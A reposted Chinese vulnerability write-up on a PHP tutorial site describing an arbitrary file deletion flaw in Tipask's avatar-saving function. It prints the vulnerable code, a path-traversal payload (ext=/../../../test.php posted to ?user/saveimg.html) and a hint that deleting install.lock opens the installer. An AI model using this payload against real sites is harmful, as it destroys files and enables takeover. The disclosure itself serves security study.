来源:自学PHP网 时间:2015-04-17 10:15 作者: 阅读:次
[导读] * tipask可以调整头像保存并删除原始头像* 在删除原始头像时使用了post提交的参数* 造成任意文件删除漏洞function onsaveimg() { $x1 = $this- post[ 39;x1 39; ]; $...
|
* tipask可以调整头像保存并删除原始头像
* 在删除原始头像时使用了post提交的参数
* 造成任意文件删除漏洞
function onsaveimg() {
$x1 = $this-> post['x1' ];
$y1 = $this-> post['y1' ];
$x2 = $this-> post['x2' ];
$y2 = $this-> post['y2' ];
$w = $this-> post['w' ];
$h = $this-> post['h' ];
$ext = $this-> post['ext' ];
$upload_tmp_file = TIPASK_ROOT . "/data/tmp/" . 'bigavatar' . $this->user['uid' ] . $ext;
$avatardir = "/data/avatar/"; //图片存放目录
$scale = 100 / $w;
resizeThumbnailImage( $smallimg, $upload_tmp_file, $w, $h, $x1, $y1, $scale);
copy($upload_tmp_file, TIPASK_ROOT . $dir3 . '/big_' . $uid . $ext);
is_file($upload_tmp_file) && unlink($upload_tmp_file);
$_ENV[ 'user']->update_avatar($smallimg);
$this->message( '头像设置成功!' , 'user/editimg' );
}
可以看到onsaveimg函数直接调用post的ext参数并传入到$upload_tmp_file中,最后进入unlink。造成任意文件删除漏洞。
漏洞证明:
删除根目录下的test.php
post ext=/../../../test.php 到?user/saveimg.html
其实可以删除install.lock你们懂的
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com